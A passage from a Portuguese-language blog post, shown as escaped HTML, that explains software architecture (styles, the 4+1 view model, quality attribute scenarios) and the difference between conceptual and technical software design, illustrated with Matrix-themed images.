    style=&quot;padding-bottom: 64.0625%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADHUlEQVQozx2SfVMSCQCHd7oZmzMnJ9Gcq7vAtV1YcWFdFnlZVmAPDkLpEBcV3TAQFcFYoAMFXwCFUyghxACB5NKyZprGuZqaqT/6sy/QF8r6AM/8Zp7fA8jUuFCCoAQqVaCUUaHUESJcaHXQxlF1R+8135Ln26cPH0+PJYS0nXe183p3zx/XZWqUNpODMgTA1diEcxRTYAIRqPlLKxke4sMCpV4lwsXtXVf3Yty7XHzPwyixwUttbe0dVzq7u3AVTtKkAOoDTOPaBysOg4WEpNCSn5maMfeJwUCEve+1tfM6E/POo9DszpTRrJAIhH283u6umz3ueVskwooJBJDKpf0DEDQII5hIQgyihBhGb5N6GYJBQNsvLubus4Qvxo7d/L33166OtiuXeTd6UGJgWIPDKARQRvXC4rRcg0MS2MHepQzkLUhgnRo1/G2QqRWb28l8Oh7ifPeXvZbxMRgR8n7r0Vu0VsYCDcCAwUrZ7TRJy1EFOue22hgDJIVX08Hzj28+f/3SOnvuC/rzpccnr07evj+vNWr0HZ2TNXNB55BaAqAyVIiJ+TAIIv0wikAowof5249SZ29fNE/r1WaldfZfMr21kdqoNKrZfNYxPdE/AIqkSL8IBGzTln+ibsqoGh4hItF5u9OiMlDlevn4tPG0Wd4v7zdajaXAwmH9MJPPRGKcy83e8zDLK7OYEgOMVq1KMySncKWeMFk0JI2zXle5fnBw9KTWqpYqxWqzWjgsVJqVeCoefOgPxzjGYWJdoxdFXPwsG9aqQeSHcPmIwjppC0dDG+lEqfYkV9wr/sRyhVw2nwmvhbzL7gfcIqUjRZhYcJsPsF77ZsKrM5MTTtvp62evzt9kcjub24lirbS6HruAi0+LyX9T69vr4bWg1zf3uPTooHa4thXQmTTAn3coEQrRBvL1fraVS7rmZpgpWzy1urWzPuua3CvmktmNALcUXg35gwszLHNyXP+/WYjFLvY0gEqvUtHkyIjyiJu/N0YLwFuYYoiLrsgIyeSsY7ewu5PLLPo9iz5PMBoYt5me76ZfbgXtYzQfAr8DBQMH4Y+zFBsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;O arquiteto em The Matrix&quot;
        title=&quot;Não é desse arquiteto que estamos falando (quora.com)&quot;
        src=&quot;/static/10180e9ff7784e48836fe0a7ef59f3c7/a65ce/the-architect.png&quot;
        srcset=&quot;/static/10180e9ff7784e48836fe0a7ef59f3c7/8514f/the-architect.png 192w,
/static/10180e9ff7784e48836fe0a7ef59f3c7/804b2/the-architect.png 384w,
/static/10180e9ff7784e48836fe0a7ef59f3c7/a65ce/the-architect.png 559w&quot;
        sizes=&quot;(max-width: 559px) 100vw, 559px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não é desse arquiteto que estamos falando (quora.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Além de ser &quot;high-level o suficiente&quot; para ter a visão do todo, o arquiteto ainda é responsável por gerenciar expectativas de gerentes, diretores, &lt;em&gt;product owners&lt;/em&gt;, e até mesmo dos próprios engenheiros. E em relação à engenharia a balança pode ser ainda mais frágil, uma vez que ele deve ser &quot;distante o suficiente&quot; para que um &lt;em&gt;gap&lt;/em&gt; criativo seja formado, e que engenharia tenha a oportunidade de inovar.&lt;/p&gt;
&lt;p&gt;Então chegamos ao melhor parágrafo do texto de &lt;em&gt;Roussos&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In short, you need to be right, and high-level enough that you can’t be wrong, but if that’s where you end, you fail.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Chris Richardson&lt;/em&gt;, no livro &lt;a href=&quot;https://www.goodreads.com/book/show/34372564-microservice-patterns?ac=1&amp;#x26;from_search=true&amp;#x26;qid=cFhoy0HIPb&amp;#x26;rank=1&quot; title=&quot;Veja no Goodreads&quot;&gt;&lt;em&gt;Microservices Patterns&lt;/em&gt;&lt;/a&gt;, estressa um pouco mais sobre a importância desse papel:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Architecture is important because it enables an application to satisfy the second category of requirements: its quality of service requirements. These are also known as quality attributes and are the so-called -ilities. The quality of service requirements define the runtime qualities such as scalability and reliability. They also define development time qualities including maintainability, testability, and deployability. The architecture you choose for your application determines how well it meets these quality requirements.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Padrões e ferramentas&lt;/h3&gt;
&lt;p&gt;Encontramos alguns estilos já estabelecidos e bem conhecidos de arquiteturas que resolvem combinações de qualidades, como o caso do &lt;a href=&quot;https://microservices.io/patterns/monolithic.html&quot; title=&quot;Leia mais no microservices.io&quot;&gt;&lt;em&gt;Monolithic Architecture&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/azure/architecture/guide/architecture-styles/event-driven&quot; title=&quot;Leia mais na documentação do Azure&quot;&gt;&lt;em&gt;Event-Driven (Implicit Invocation) Architecture&lt;/em&gt;&lt;/a&gt;, e talvez o mais &quot;hypado&quot;, &lt;a href=&quot;https://www.infoq.com/br/news/2014/07/introducing-microservices/&quot; title=&quot;Leia a introdução no InfoQ&quot;&gt;&lt;em&gt;Microservices Architecture&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Eles podem fazer uso de um ou mais padrões de arquitetura, como por exemplo, a arquitetura monolítica pode ser composta pelos padrões &lt;a href=&quot;https://en.wikipedia.org/wiki/Multitier_architecture&quot; title=&quot;Leia na íntegra no Wikipedia&quot;&gt;&lt;em&gt;n-tier&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller&quot; title=&quot;LEia na íntegra no Wikipedia&quot;&gt;&lt;em&gt;model-view-controller&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/216ac6208b49cedeac31cbbc2c74f14f/07f3a/the-matrix-architect-neo.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCAwT/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAABxWNJyJhsH//EABoQAAICAwAAAAAAAAAAAAAAAAABERICAxD/2gAIAQEAAQUCq2Za4Kk8Z//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABgQAAIDAAAAAAAAAAAAAAAAAAAxASAy/9oACAEBAAY/AkZFNP/EABkQAQEBAQEBAAAAAAAAAAAAAAERACFRcf/aAAgBAQABPyEt74o8yKCkOzUct8wvdXJu/9oADAMBAAIAAwAAABC7/wD/xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAwEBPxCq/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8QiP/EAB0QAQACAgIDAAAAAAAAAAAAAAEAESExEEFRYfD/2gAIAQEAAT8QaY6gs23A6qb21maYBpsD83xT5uoLFqf/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Neo e Arquiteto em The Matrix&quot;
        title=&quot;Não é só de terno e vis-a-vis que vive um arquiteto (lascimmiapensa.com)&quot;
        src=&quot;/static/216ac6208b49cedeac31cbbc2c74f14f/07f3a/the-matrix-architect-neo.jpg&quot;
        srcset=&quot;/static/216ac6208b49cedeac31cbbc2c74f14f/7809d/the-matrix-architect-neo.jpg 192w,
/static/216ac6208b49cedeac31cbbc2c74f14f/4ecad/the-matrix-architect-neo.jpg 384w,
/static/216ac6208b49cedeac31cbbc2c74f14f/07f3a/the-matrix-architect-neo.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não é só de terno e vis-a-vis que vive um arquiteto (lascimmiapensa.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_software_architecture_styles_and_patterns&quot; title=&quot;List of software architecture styles and patterns&quot;&gt;Lista de estilos e padrões de arquitetura de &lt;em&gt;software&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Algumas ferramentas estão disponíveis para auxiliar o arquiteto na tarefa de modelar a solução, bem como de expor determinados detalhes para diferentes tipos de &lt;em&gt;stakeholders&lt;/em&gt;. Talvez a &lt;em&gt;top of mind&lt;/em&gt; seja a própria &lt;a href=&quot;https://www.visual-paradigm.com/guide/uml-unified-modeling-language/modeling-software-architecture-with-package/&quot; title=&quot;UML: Modeling Software Architecture with Packages&quot;&gt;&lt;em&gt;UML&lt;/em&gt;&lt;/a&gt;. Outra opção é o &lt;em&gt;4 + 1 architectural view model&lt;/em&gt;, que é uma espécie de &lt;em&gt;framework&lt;/em&gt; que auxilia na separação de diferentes aspectos do sistema em diferentes visões (que podem inclusive utilizar artefatos da &lt;em&gt;UML&lt;/em&gt; para os seus propósitos).&lt;/p&gt;
&lt;p&gt;As visões são:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Logical view:&lt;/strong&gt; Preocupa-se com a funcionalidade que o sistema provê para o usuário final. Utiliza &lt;a href=&quot;https://en.wikipedia.org/wiki/Class_diagram&quot; title=&quot;Class diagram&quot;&gt;diagramas de classe&lt;/a&gt; e de &lt;a href=&quot;https://en.wikipedia.org/wiki/State_diagram&quot; title=&quot;State diagram&quot;&gt;estado&lt;/a&gt; da &lt;em&gt;UML&lt;/em&gt;, e é relevante para desenvolvedores;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process view:&lt;/strong&gt; Descreve processos concorrentes dentro de um sistema. Pode englobar requisitos não funcionais, como performance e disponibilidade, e é representado através do &lt;a href=&quot;https://www.tutorialspoint.com/uml/uml_activity_diagram.htm&quot; title=&quot;Activity diagram&quot;&gt;diagrama de atividade&lt;/a&gt; da &lt;em&gt;UML&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Development view:&lt;/strong&gt; Foca na ótica do programador, e descreve componentes do sistema. Utiliza o diagrama de &lt;a href=&quot;https://en.wikipedia.org/wiki/Component_diagram&quot; title=&quot;Component diagram&quot;&gt;componente&lt;/a&gt; e de &lt;a href=&quot;https://en.wikipedia.org/wiki/Package_diagram&quot; title=&quot;Package diagram&quot;&gt;pacote&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Physical view:&lt;/strong&gt; Descreve a topologia do sistema de uma perspectiva física. Por exemplo, quantos nós são utilizados, o que é &quot;deployado&quot; em cada nó, como escala, etc. Utiliza o &lt;a href=&quot;https://en.wikipedia.org/wiki/Deployment_diagram&quot; title=&quot;Deployment diagram&quot;&gt;diagrama de &lt;em&gt;deploy&lt;/em&gt;&lt;/a&gt; da &lt;em&gt;UML&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use case view:&lt;/strong&gt; Descreve a funcionalidade do sistema da perspectiva do mundo exterior, ou seja, ilustra o que o sistema deveria fazer através de cenários, que são determinantes para identificar elementos da arquitetura e validar &lt;em&gt;design&lt;/em&gt;. Utiliza casos de uso da &lt;em&gt;UML&lt;/em&gt;, e todas as outras visões utilizam dessa (e de seus cenários) para guiá-las.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://www.coursera.org/lecture/software-architecture/3-1-2-kruchtens-4-1-model-view-z65ZO&quot; title=&quot;Kruchten&amp;#x27;s 4 + 1 Model View&quot;&gt;Assista à introdução ao &lt;em&gt;4 + 1&lt;/em&gt; no Coursera&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Para finalizar, outra prática bem interessante é a escrita de &lt;a href=&quot;https://etutorials.org/Programming/Software+architecture+in+practice,+second+edition/Part+Two+Creating+an+Architecture/Chapter+4.+Understanding+Quality+Attributes/4.3+System+Quality+Attributes/&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&lt;em&gt;Quality Attribute Scenarios&lt;/em&gt;&lt;/a&gt;, que são requisitos não funcionais, específicos para mensurar a qualidade da sua solução para problemas específicos.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/779789a21aa47e2172f859163d9ba782/50383/example-quality-attributes.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 38.541666666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAABYlAAAWJQFJUiTwAAAA4UlEQVQY051QyXLDIAz1//+dv6A+2NNOAgSzS2DUl9AknmlP1QG0vEUwya/ovR/H0VozxuBEjo78FZO1FletNaVUnzHI+74jRzKaRBRjRPkmr+uKCwOQz+YAhRDOUCzknCc6kZdlGVbMjBoJ5FPKSIAHOcYA6deIuaYihR5k7/3wgcTQDzER8UseG+Ucxzo5Z/wHgFx/nD9yLnie1hrCSilYWSfGSikFJZbffTe3XqhqjWm+7aIMFpFpnmfnHJjbtkHicVowL0rwEHTghhJo5qbvWunrKuunNJCvl8BM8q/4Bvw60xnCZDY3AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de Quality Attributes revisados&quot;
        title=&quot;Exemplo de Quality Attributes revisados&quot;
        src=&quot;/static/779789a21aa47e2172f859163d9ba782/50383/example-quality-attributes.png&quot;
        srcset=&quot;/static/779789a21aa47e2172f859163d9ba782/8514f/example-quality-attributes.png 192w,
/static/779789a21aa47e2172f859163d9ba782/804b2/example-quality-attributes.png 384w,
/static/779789a21aa47e2172f859163d9ba782/50383/example-quality-attributes.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de Quality Attributes revisados&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.coursera.org/lecture/software-architecture/3-3-1-quality-attributes-xAwkW&quot; title=&quot;Quality Attributes&quot;&gt;Veja mais na excelente aula do &lt;em&gt;Coursera&lt;/em&gt; sobre &lt;em&gt;Quality Attributes&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Software Design&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;https://www.coursera.org/learn/object-oriented-design/&quot; title=&quot;Object-Oriented Design no Coursera&quot;&gt;curso &lt;em&gt;Object-Oriented Design&lt;/em&gt;&lt;/a&gt;,
da Universidade de Alberta, define &lt;em&gt;software design&lt;/em&gt; da seguinte forma:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The process of planning a software solution, taking the requirements and constraints into account.
Divided into higher-level conceptual design and more specific technical design.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O foco está em pensar na solução para um problema específico, projetando detalhes de um determinado
componente e suas responsabilidades, e utilizando de artefatos que ajudem no debate
com a camada mais próxima de negócios (&lt;em&gt;high-level&lt;/em&gt;, mais conceitual) e mais próxima de implementação
(&lt;em&gt;low-level&lt;/em&gt;, técnica).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0fadc627531272819d6f78dc90f06355/07f3a/the-matrix-mouser.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 52.083333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAEDBP/EABYBAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAABwNwjYWGv/8QAGRAAAwEBAQAAAAAAAAAAAAAAAQIDADFD/9oACAEBAAEFAlUaqCbmU940w5//xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAwEBPwFH/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGxAAAQQDAAAAAAAAAAAAAAAAAQACEEEhcoH/2gAIAQEABj8CaaKxcP4m6iP/xAAcEAEAAwACAwAAAAAAAAAAAAABABExECFRobH/2gAIAQEAAT8hvNTpeQGYHqPehCHdnn64jCf/2gAMAwEAAgADAAAAEAwP/8QAFhEBAQEAAAAAAAAAAAAAAAAAEQAB/9oACAEDAQE/ENCF/8QAFREBAQAAAAAAAAAAAAAAAAAAARD/2gAIAQIBAT8QJ//EAB0QAAICAgMBAAAAAAAAAAAAAAERACExQVFhgbH/2gAIAQEAAT8QQN6BxNge1GagA0kWuCJXKAOpzJJerQiQxwjqpQAoIfJ//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Mouser em The Matrix&quot;
        title=&quot;Um viva para o designer da Mulher de Vermelho (ballardwachowskiproject.wordpress.com)&quot;
        src=&quot;/static/0fadc627531272819d6f78dc90f06355/07f3a/the-matrix-mouser.jpg&quot;
        srcset=&quot;/static/0fadc627531272819d6f78dc90f06355/7809d/the-matrix-mouser.jpg 192w,
/static/0fadc627531272819d6f78dc90f06355/4ecad/the-matrix-mouser.jpg 384w,
/static/0fadc627531272819d6f78dc90f06355/07f3a/the-matrix-mouser.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Um viva para o designer da Mulher de Vermelho (ballardwachowskiproject.wordpress.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Esse passo tem presença constante no início das iterações no modelo iterativo/incremental, e pode ser desempenhado
por diferentes papéis dentro de um time (naturalmente, com envolvimento dos desenvolvedores).&lt;/p&gt;
&lt;h3&gt;Design conceitual&lt;/h3&gt;
&lt;p&gt;Partimos do princípio que tudo origina-se de um requisito:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Quero ver a minha lista de músicas favoritas.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Requisitos podem ser &quot;funcionais&quot; (como o exemplo acima), ou &quot;não funcionais&quot; (como o exemplo de &quot;ilities&quot; da seção anterior).
Quando falamos de &lt;em&gt;design&lt;/em&gt; conceitual, geralmente nos referimos ao primeiro tipo, e através de discussões mais próximas do problema exploramos soluções.&lt;/p&gt;
&lt;p&gt;Nessa etapa é comum lidar com ferramentas, preferencialmente de baixo custo e fácil alteração, que consigam
&quot;traduzir&quot; a solução sendo discutida em artefatos visuais, como por exemplo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Diagramas de alto nível:&lt;/strong&gt; Para exemplificar relacionamentos entre o usuário, interface e demais componentes (não técnico);&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wireframes:&lt;/strong&gt; Para discutir elementos em uma interface de usuário;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protótipos:&lt;/strong&gt; Para demonstrar comportamentos;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mockups:&lt;/strong&gt; Para refletir decisões de &lt;em&gt;design&lt;/em&gt; como cores, &lt;em&gt;layouts&lt;/em&gt;, tipografia, interações, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Uma outra forma de debatermos requisitos sob uma ótica conceitual é através da construção de &lt;em&gt;user stories&lt;/em&gt;. Com elas,
podemos tomar algumas liberdades para sermos mais específicos sobre as necessidades e expectativas que precisam ser atendidas:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Eu como um usuário autenticado,
Quero poder visualizar as minhas músicas favoritas,
Para que eu consiga ouví-las com facilidade e maior frequência.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Design técnico&lt;/h3&gt;
&lt;p&gt;Com o &lt;em&gt;design&lt;/em&gt; técnico, estamos enfim discutindo aspectos voltados à &quot;solução prática&quot;. Mas nem por isso deixamos de ser expostos a abstrações, como por exemplo, se você estiver utilizando &lt;a href=&quot;/tag/oop.html&quot; title=&quot;Leia mais sobre Orientação a Objetos&quot;&gt;&lt;em&gt;OOP&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.lucidchart.com/pages/pt/o-que-e-diagrama-entidade-relacionamento&quot; title=&quot;O que é um diagrama de entidade e relacionamento?&quot;&gt;Diagrama de Entidade e Relacionamento (ER)&lt;/a&gt;: Caso você esteja partindo da ótica do seu banco de dados;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.visual-paradigm.com/guide/uml-unified-modeling-language/what-is-uml/&quot; title=&quot;What is Unified Modeling Language?&quot;&gt;&lt;em&gt;UML&lt;/em&gt;&lt;/a&gt;: Caso você queira esquematizar relacionamentos e ciclo de vida dos seus componentes;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://atomicobject.com/resources/oo-programming/crc-cards&quot; title=&quot;CRC Cards&quot;&gt;Cartões &lt;em&gt;CRC&lt;/em&gt;&lt;/a&gt;: Uma alternativa mais &quot;barata&quot; ao &lt;em&gt;UML&lt;/em&gt;, útil para descrever relacionamentos entre entidades.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ainda utilizando o contexto de orientação a objetos, outro tópico que pode aparecer nesse momento são os &lt;a href=&quot;/tag/design-patterns.html&quot; title=&quot;Leia mais sobre Design Patterns&quot;&gt;&lt;em&gt;Design Patterns&lt;/em&gt;&lt;/a&gt;. No caso da construção de &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre APIs&quot;&gt;&lt;em&gt;APIs&lt;/em&gt;&lt;/a&gt;, uma possibilidade é a construção do contrato via &lt;a href=&quot;/2017/11/25/swagger-e-o-open-api-initiative.html&quot; title=&quot;Swagger e o Open API Initiative&quot;&gt;&lt;em&gt;Swagger file&lt;/em&gt;&lt;/a&gt;. Enfim, estamos mais próximos de ideias e artefatos que representem de fato o sistema.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 580px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fbe78afa37ef4a8565412eea8f336018/78d0c/the-matrix-tank.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 61.45833333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIBAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAHIVqiRQ//EABkQAAIDAQAAAAAAAAAAAAAAAAAxAQIRIv/aAAgBAQABBQJks3jSz//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABQQAQAAAAAAAAAAAAAAAAAAACD/2gAIAQEABj8CX//EABsQAQADAQADAAAAAAAAAAAAAAEAESExEEGh/9oACAEBAAE/IUSIPIDjCO1b9lqt+6ltXd8f/9oADAMBAAIAAwAAABBbz//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8QP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABoQAQADAQEBAAAAAAAAAAAAAAEAITERQVH/2gAIAQEAAT8QspuiEsoC3WeaEOAgZvnw85TOmgDZrP/Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Tank em The Matrix&quot;
        title=&quot;Existem ferramentas que te permitem abstrair todo aquele caractere verde escorrendo pelo seu monitor (reddit.com)&quot;
        src=&quot;/static/fbe78afa37ef4a8565412eea8f336018/78d0c/the-matrix-tank.jpg&quot;
        srcset=&quot;/static/fbe78afa37ef4a8565412eea8f336018/7809d/the-matrix-tank.jpg 192w,
/static/fbe78afa37ef4a8565412eea8f336018/4ecad/the-matrix-tank.jpg 384w,
/static/fbe78afa37ef4a8565412eea8f336018/78d0c/the-matrix-tank.jpg 580w&quot;
        sizes=&quot;(max-width: 580px) 100vw, 580px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Existem ferramentas que te permitem abstrair todo aquele caractere verde escorrendo pelo seu monitor (reddit.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Independente de qual estilo de programação você esteja usando, ou de qual região da aplicação você esteja desenvolvendo, é nesse momento que acontecem discussões sobre os &lt;em&gt;trade-offs&lt;/em&gt; entre as qualidades (&lt;em&gt;code quality&lt;/em&gt;, &lt;em&gt;security&lt;/em&gt;, &lt;em&gt;usability&lt;/em&gt;, &lt;em&gt;performance&lt;/em&gt;, &lt;em&gt;time to market&lt;/em&gt;, etc) definidas pelo contexto do seu projeto, bem como outros requisitos não funcionais, e como isso impactará o &lt;em&gt;design&lt;/em&gt; (e se o mesmo precisa ser alterado para encontrar o balanço ideal).&lt;/p&gt;
